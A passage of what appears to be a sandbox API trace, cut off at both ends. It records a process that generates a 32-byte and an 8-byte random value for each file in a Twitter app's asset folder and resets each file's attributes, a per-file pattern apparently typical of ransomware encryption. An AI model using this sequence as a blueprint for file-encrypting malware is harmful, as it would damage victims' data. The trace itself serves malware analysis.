Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9338 | out: pbBuffer=0x30e9338) returned 1 [0216.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6175b0 | out: pbBuffer=0x6175b0) returned 1 [0216.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80.png", dwFileAttributes=0x80) returned 0 [0216.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9860 | out: pbBuffer=0x30e9860) returned 1 [0216.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617600 | out: pbBuffer=0x617600) returned 1 [0216.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9128 | out: pbBuffer=0x30e9128) returned 1 [0216.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617580 | out: pbBuffer=0x617580) returned 1 [0216.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9230 | out: pbBuffer=0x30e9230) returned 1 [0216.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6175a0 | out: pbBuffer=0x6175a0) returned 1 [0216.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e82b8 | out: pbBuffer=0x30e82b8) returned 1 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6175e0 | out: pbBuffer=0x6175e0) returned 1 [0216.007] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72.png", dwFileAttributes=0x80) returned 0 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9968 | out: pbBuffer=0x30e9968) returned 1 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6175f0 | out: pbBuffer=0x6175f0) returned 1 [0216.007] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e88e8 | out: pbBuffer=0x30e88e8) returned 1 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617620 | out: pbBuffer=0x617620) returned 1 [0216.007] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e89f0 | out: pbBuffer=0x30e89f0) returned 1 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617630 | out: pbBuffer=0x617630) returned 1 [0216.007] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9a70 | out: pbBuffer=0x30e9a70) returned 1 [0216.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617640 | out: pbBuffer=0x617640) returned 1 [0216.008] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64.png", dwFileAttributes=0x80) returned 0 [0216.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8af8 | out: pbBuffer=0x30e8af8) returned 1 [0216.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617750 | out: pbBuffer=0x617750) returned 1 [0216.008] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8c00 | out: pbBuffer=0x30e8c00) returned 1 [0216.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617720 | out: pbBuffer=0x617720) returned 1 [0216.008] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9b78 | out: pbBuffer=0x30e9b78) returned 1 [0216.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6176d0 | out: pbBuffer=0x6176d0) returned 1 [0216.008] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9e90 | out: pbBuffer=0x30e9e90) returned 1 [0216.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617690 | out: pbBuffer=0x617690) returned 1 [0216.008] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60.png", dwFileAttributes=0x80) returned 0 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6f10 | out: pbBuffer=0x30e6f10) returned 1 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6176a0 | out: pbBuffer=0x6176a0) returned 1 [0216.009] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6bf8 | out: pbBuffer=0x30e6bf8) returned 1 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617740 | out: pbBuffer=0x617740) returned 1 [0216.009] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6e08 | out: pbBuffer=0x30e6e08) returned 1 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6176e0 | out: pbBuffer=0x6176e0) returned 1 [0216.009] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7018 | out: pbBuffer=0x30e7018) returned 1 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6176f0 | out: pbBuffer=0x6176f0) returned 1 [0216.009] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48.png", dwFileAttributes=0x80) returned 0 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7120 | out: pbBuffer=0x30e7120) returned 1 [0216.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6176c0 | out: pbBuffer=0x6176c0) returned 1 [0216.009] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e63b8 | out: pbBuffer=0x30e63b8) returned 1 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617780 | out: pbBuffer=0x617780) returned 1 [0216.010] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7228 | out: pbBuffer=0x30e7228) returned 1 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617700 | out: pbBuffer=0x617700) returned 1 [0216.010] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6af0 | out: pbBuffer=0x30e6af0) returned 1 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617710 | out: pbBuffer=0x617710) returned 1 [0216.010] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40.png", dwFileAttributes=0x80) returned 0 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e64c0 | out: pbBuffer=0x30e64c0) returned 1 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6177a0 | out: pbBuffer=0x6177a0) returned 1 [0216.010] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e66d0 | out: pbBuffer=0x30e66d0) returned 1 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6177e0 | out: pbBuffer=0x6177e0) returned 1 [0216.011] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7e88 | out: pbBuffer=0x30e7e88) returned 1 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617730 | out: pbBuffer=0x617730) returned 1 [0216.011] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e65c8 | out: pbBuffer=0x30e65c8) returned 1 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6176b0 | out: pbBuffer=0x6176b0) returned 1 [0216.011] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e69e8 | out: pbBuffer=0x30e69e8) returned 1 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617760 | out: pbBuffer=0x617760) returned 1 [0216.011] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7330 | out: pbBuffer=0x30e7330) returned 1 [0216.011] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617820 | out: pbBuffer=0x617820) returned 1 [0216.011] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6d00 | out: pbBuffer=0x30e6d00) returned 1 [0216.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6177f0 | out: pbBuffer=0x6177f0) returned 1 [0216.012] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e67d8 | out: pbBuffer=0x30e67d8) returned 1 [0216.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617810 | out: pbBuffer=0x617810) returned 1 [0216.012] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32.png", dwFileAttributes=0x80) returned 0 [0216.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e61a8 | out: pbBuffer=0x30e61a8) returned 1 [0216.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617770 | out: pbBuffer=0x617770) returned 1 [0216.012] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7438 | out: pbBuffer=0x30e7438) returned 1 [0216.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617790 | out: pbBuffer=0x617790) returned 1 [0216.012] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7d80 | out: pbBuffer=0x30e7d80) returned 1 [0216.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6177b0 | out: pbBuffer=0x6177b0) returned 1 [0216.013] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7750 | out: pbBuffer=0x30e7750) returned 1 [0216.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6177c0 | out: pbBuffer=0x6177c0) returned 1 [0216.013] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30.png", dwFileAttributes=0x80) returned 0 [0216.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7540 | out: pbBuffer=0x30e7540) returned 1 [0216.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x6177d0 | out: pbBuffer=0x6177d0) returned 1 [0216.013] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7858 | out: pbBuffer=0x30e7858) returned 1 [0216.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617800 | out: pbBuffer=0x617800) returned 1 [0216.013] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7648 | out: pbBuffer=0x30e7648) returned 1 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617660 | out: pbBuffer=0x617660) returned 1 [0216.014] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e62b0 | out: pbBuffer=0x30e62b0) returned 1 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617670 | out: pbBuffer=0x617670) returned 1 [0216.014] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256.png", dwFileAttributes=0x80) returned 0 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7a68 | out: pbBuffer=0x30e7a68) returned 1 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x617680 | out: pbBuffer=0x617680) returned 1 [0216.014] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7960 | out: pbBuffer=0x30e7960) returned 1 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d760 | out: pbBuffer=0x61d760) returned 1 [0216.014] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7b70 | out: pbBuffer=0x30e7b70) returned 1 [0216.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d680 | out: pbBuffer=0x61d680) returned 1 [0216.014] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e68e0 | out: pbBuffer=0x30e68e0) returned 1 [0216.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d780 | out: pbBuffer=0x61d780) returned 1 [0216.015] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0216.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5758 | out: pbBuffer=0x30e5758) returned 1 [0216.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d770 | out: pbBuffer=0x61d770) returned 1 [0216.015] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5968 | out: pbBuffer=0x30e5968) returned 1 [0216.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d790 | out: pbBuffer=0x61d790) returned 1 [0216.015] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5a70 | out: pbBuffer=0x30e5a70) returned 1 [0216.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d7a0 | out: pbBuffer=0x61d7a0) returned 1 [0216.015] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7c78 | out: pbBuffer=0x30e7c78) returned 1 [0216.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d720 | out: pbBuffer=0x61d720) returned 1 [0216.016] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0216.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5d88 | out: pbBuffer=0x30e5d88) returned 1 [0216.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d7b0 | out: pbBuffer=0x61d7b0) returned 1 [0216.016] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e45d0 | out: pbBuffer=0x30e45d0) returned 1 [0216.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d810 | out: pbBuffer=0x61d810) returned 1 [0216.016] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfad8 | out: pbBuffer=0x30dfad8) returned 1 [0216.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d730 | out: pbBuffer=0x61d730) returned 1 [0216.016] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0630 | out: pbBuffer=0x30e0630) returned 1 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d6b0 | out: pbBuffer=0x61d6b0) returned 1 [0216.017] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0738 | out: pbBuffer=0x30e0738) returned 1 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d6a0 | out: pbBuffer=0x61d6a0) returned 1 [0216.017] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfbe0 | out: pbBuffer=0x30dfbe0) returned 1 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d7c0 | out: pbBuffer=0x61d7c0) returned 1 [0216.017] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d7d0 | out: pbBuffer=0x61d7d0) returned 1 [0216.017] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400.png", dwFileAttributes=0x80) returned 0 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0840 | out: pbBuffer=0x30e0840) returned 1 [0216.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d700 | out: pbBuffer=0x61d700) returned 1 [0216.018] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df8c8 | out: pbBuffer=0x30df8c8) returned 1 [0216.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d6c0 | out: pbBuffer=0x61d6c0) returned 1 [0216.018] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfce8 | out: pbBuffer=0x30dfce8) returned 1 [0216.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d6d0 | out: pbBuffer=0x61d6d0) returned 1 [0216.018] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200.png", dwFileAttributes=0x80) returned 0 [0216.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0948 | out: pbBuffer=0x30e0948) returned 1 [0216.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d710 | out: pbBuffer=0x61d710) returned 1 [0216.018] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0b58 | out: pbBuffer=0x30e0b58) returned 1 [0216.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d830 | out: pbBuffer=0x61d830) returned 1 [0216.019] SetFileAttributesW (lpFileName="\\Program 